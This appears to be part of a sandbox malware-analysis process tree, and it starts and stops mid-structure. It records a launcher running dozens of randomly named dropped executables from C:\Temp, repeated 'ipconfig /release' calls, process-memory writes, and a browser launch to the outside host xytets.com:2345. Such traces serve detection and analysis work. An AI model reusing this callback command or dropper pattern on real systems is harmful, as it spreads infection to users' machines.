  - - C:\Temp\i_urmjhfzxup.exe
      C:\Temp\i_urmjhfzxup.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2844
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\omjhbzwurm.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2652
  - - C:\Temp\omjhbzwurm.exe
      C:\Temp\omjhbzwurm.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4512
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1512
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4748
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_omjhbzwurm.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4860
  - - C:\Temp\i_omjhbzwurm.exe
      C:\Temp\i_omjhbzwurm.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5736
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\geywrojeto.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4796
  - - C:\Temp\geywrojeto.exe
      C:\Temp\geywrojeto.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1860
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1732
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5004
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_geywrojeto.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3516
  - - C:\Temp\i_geywrojeto.exe
      C:\Temp\i_geywrojeto.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3268
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rligebwtrl.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2252
  - - C:\Temp\rligebwtrl.exe
      C:\Temp\rligebwtrl.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3512
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3320
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4228
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rligebwtrl.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4632
  - - C:\Temp\i_rligebwtrl.exe
      C:\Temp\i_rligebwtrl.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4144
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bvtnlgdywq.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4748
  - - C:\Temp\bvtnlgdywq.exe
      C:\Temp\bvtnlgdywq.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5132
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3332
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4840
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bvtnlgdywq.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3328
  - - C:\Temp\i_bvtnlgdywq.exe
      C:\Temp\i_bvtnlgdywq.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:244
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nifdxvsqni.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2444
  - - C:\Temp\nifdxvsqni.exe
      C:\Temp\nifdxvsqni.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5576
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1792
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5604
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nifdxvsqni.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:848
  - - C:\Temp\i_nifdxvsqni.exe
      C:\Temp\i_nifdxvsqni.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3464
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\sqkicxnkfd.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3156
  - - C:\Temp\sqkicxnkfd.exe
      C:\Temp\sqkicxnkfd.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3268
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4868
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1804
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_sqkicxnkfd.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2016
  - - C:\Temp\i_sqkicxnkfd.exe
      C:\Temp\i_sqkicxnkfd.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1200
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vsnkfaxspk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2140
  - - C:\Temp\vsnkfaxspk.exe
      C:\Temp\vsnkfaxspk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1076
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1112
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4816
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vsnkfaxspk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4160
  - - C:\Temp\i_vsnkfaxspk.exe
      C:\Temp\i_vsnkfaxspk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3756
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pkhczuspkh.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1756
  - - C:\Temp\pkhczuspkh.exe
      C:\Temp\pkhczuspkh.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3232
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3040
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4380
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pkhczuspkh.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2312
  - - C:\Temp\i_pkhczuspkh.exe
      C:\Temp\i_pkhczuspkh.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3112
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cwupmgezwr.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2032
  - - C:\Temp\cwupmgezwr.exe
      C:\Temp\cwupmgezwr.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1348
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4944
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4336
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cwupmgezwr.exe ups_ins
    3⤵
    PID:2308
  - - C:\Temp\i_cwupmgezwr.exe
      C:\Temp\i_cwupmgezwr.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4816
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hbzwurmgez.exe ups_run
    3⤵
    PID:5004
  - - C:\Temp\hbzwurmgez.exe
      C:\Temp\hbzwurmgez.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3128
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3448
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:556
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hbzwurmgez.exe ups_ins
    3⤵
    PID:5444
  - - C:\Temp\i_hbzwurmgez.exe
      C:\Temp\i_hbzwurmgez.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2728
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bwtoljebwt.exe ups_run
    3⤵
    PID:3248
  - - C:\Temp\bwtoljebwt.exe
      C:\Temp\bwtoljebwt.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3112
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1200
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4148
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bwtoljebwt.exe ups_ins
    3⤵
    PID:3108
  - - C:\Temp\i_bwtoljebwt.exe
      C:\Temp\i_bwtoljebwt.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1500
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ebwqolgeyw.exe ups_run
    3⤵
    PID:2244
  - - C:\Temp\ebwqolgeyw.exe
      C:\Temp\ebwqolgeyw.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4364
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4816
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1140
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ebwqolgeyw.exe ups_ins
    3⤵
    PID:4788
  - - C:\Temp\i_ebwqolgeyw.exe
      C:\Temp\i_ebwqolgeyw.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4496
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\davtnlfdxv.exe ups_run
    3⤵
    PID:804
  - - C:\Temp\davtnlfdxv.exe
      C:\Temp\davtnlfdxv.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2520
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2952
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4332
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_davtnlfdxv.exe ups_ins
    3⤵
    PID:1580
  - - C:\Temp\i_davtnlfdxv.exe
      C:\Temp\i_davtnlfdxv.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3428
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cavsqniday.exe ups_run
    3⤵
    PID:2780
  - - C:\Temp\cavsqniday.exe
      C:\Temp\cavsqniday.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4984
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5620
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5880
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cavsqniday.exe ups_ins
    3⤵
    PID:3572
  - - C:\Temp\i_cavsqniday.exe
      C:\Temp\i_cavsqniday.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4688
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xsqnifaxsq.exe ups_run
    3⤵
    PID:1492
  - - C:\Temp\xsqnifaxsq.exe
      C:\Temp\xsqnifaxsq.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5836
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5404
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:928
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xsqnifaxsq.exe ups_ins
    3⤵
    PID:3848
  - - C:\Temp\i_xsqnifaxsq.exe
      C:\Temp\i_xsqnifaxsq.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1084
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\khcausmhfz.exe ups_run
    3⤵
    PID:1344
  - - C:\Temp\khcausmhfz.exe
      C:\Temp\khcausmhfz.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5464
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5976
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1072
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_khcausmhfz.exe ups_ins
    3⤵
    PID:2832
  - - C:\Temp\i_khcausmhfz.exe
      C:\Temp\i_khcausmhfz.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3096
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ecwupmhfzx.exe ups_run
    3⤵
    PID:616
  - - C:\Temp\ecwupmhfzx.exe
      C:\Temp\ecwupmhfzx.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4840
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1644
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5336
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ecwupmhfzx.exe ups_ins
    3⤵
    PID:4584
  - - C:\Temp\i_ecwupmhfzx.exe
      C:\Temp\i_ecwupmhfzx.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4608
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pjhezxrpjh.exe ups_run
    3⤵
    PID:1108
  - - C:\Temp\pjhezxrpjh.exe
      C:\Temp\pjhezxrpjh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1256
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4340
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1940
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1728
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7fff44cbc188,0x7fff44cbc194,0x7fff44cbc1a0
      4⤵
      PID:1404
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --subproc-heap-profiling --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1668,i,6428105972421243685,16498241500248521421,262144 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:2
      4⤵
      PID:2576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=1924,i,1201344120900304262,4697270023638642845,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:11
      4⤵
      System Time Discovery
      PID:5992
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=2448,i,1348039317749925435,7319352125253288395,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=3176 /prefetch:13
      4⤵
      PID:5832
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --subproc-heap-profiling --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3652,i,16510707819729904696,13040979150834213624,2097152 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:1
      4⤵
      PID:1140
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --subproc-heap-profiling --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3680,i,584337789347378602,7325749137378961367,2097152 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=3744 /prefetch:1
      4⤵
      PID:5988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --subproc-heap-profiling --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4332,i,4113565036627905888,17954695788128227366,2097152 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:1
      4⤵
      PID:824
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4368,i,16859573319951855971,9112768035266098485,2097152 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=5028 /prefetch:9
      4⤵
      PID:4552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=5344,i,7724769076360404228,4331557828572770895,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:14
      4⤵
      PID:4240
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=5356,i,10831314498562127586,7535519041899900459,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=5460 /prefetch:14
      4⤵
      PID:5728
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=5524,i,5105201358304347596,11262147044551639661,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:14
      4⤵
      PID:5116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6124,i,17299727591346936535,7372930928927955577,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=6156 /prefetch:14
      4⤵
      PID:2156
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6124,i,17299727591346936535,7372930928927955577,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=6156 /prefetch:14
      4⤵
      PID:6124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6308,i,4500657902402697181,1042634844352985204,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=6320 /prefetch:14
      4⤵
      PID:4512
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6368,i,16893767726328831981,11029027212005043689,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=6464 /prefetch:14
      4⤵
      PID:5104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=5044,i,6571442773917723600,9772707879886689002,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=5028 /prefetch:14
      4⤵
      PID:3624
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=5252,i,16674675656774235868,11760173977302370116,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=5064 /prefetch:14
      4⤵
      PID:4572
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=5256,i,12383098325762995796,4835321635767195390,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:14
      4⤵
      PID:2488
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6332,i,13280927960477175162,9082791612659676505,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=2608 /prefetch:14
      4⤵
      PID:5704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
